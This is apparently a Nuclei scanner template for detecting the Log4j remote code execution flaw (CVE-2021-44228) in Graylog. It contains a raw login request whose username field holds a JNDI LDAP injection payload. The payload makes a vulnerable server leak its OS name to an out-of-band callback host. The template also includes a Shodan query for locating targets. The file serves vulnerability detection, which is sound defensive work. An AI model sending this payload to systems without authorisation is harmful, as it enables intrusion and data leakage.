56 lines
1.9 KiB
YAML
56 lines
1.9 KiB
YAML
id: graylog-log4j
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info:
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name: GrayLog - Remote Code Execution (Apache Log4j)
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author: DhiyaneshDK
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severity: critical
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description: Graylog uses the Log4j 2 Java library to record its own log information. Versions of this library earlier than 2.15.0 are vulnerable to a remote code execution attack, specifically when specially crafted values sent as user input will be logged by Graylog.
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reference:
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- https://www.graylog.org/post/graylog-update-for-log4j
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- https://logging.apache.org/log4j/2.x/security.html
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- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
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metadata:
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verified: true
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shodan-query: title:"Graylog Web Interface"
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tags: cve,cve2021,rce,jndi,log4j,graylog
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requests:
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- raw:
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- |
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POST /api/system/sessions HTTP/1.1
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Host: {{Hostname}}
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User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
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Accept: application/json
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Accept-Language: en-US,en;q=0.5
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Accept-Encoding: gzip, deflate
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X-Requested-With: XMLHttpRequest
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X-Requested-By: XMLHttpRequest
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Content-Type: application/json
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Origin: {{BaseURL}}
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Referer: {{BaseURL}}
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{"username":"${jndi:ldap://${sys:os.name}.{{interactsh-url}}}","password":"admin","host":"{{Hostname}}"}
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol # Confirms the DNS Interaction
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words:
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- "dns"
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- type: regex
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part: interactsh_request
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regex:
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- '([a-zA-Z0-9.-]+).([a-z0-9]+).([a-z0-9]+).\w+' # Match for extracted ${sys:os.name} variable
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extractors:
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- type: kval
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kval:
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- interactsh_ip # Print remote interaction IP in output
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- type: regex
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part: interactsh_request
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group: 1
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regex:
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- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${sys:os.name} in output
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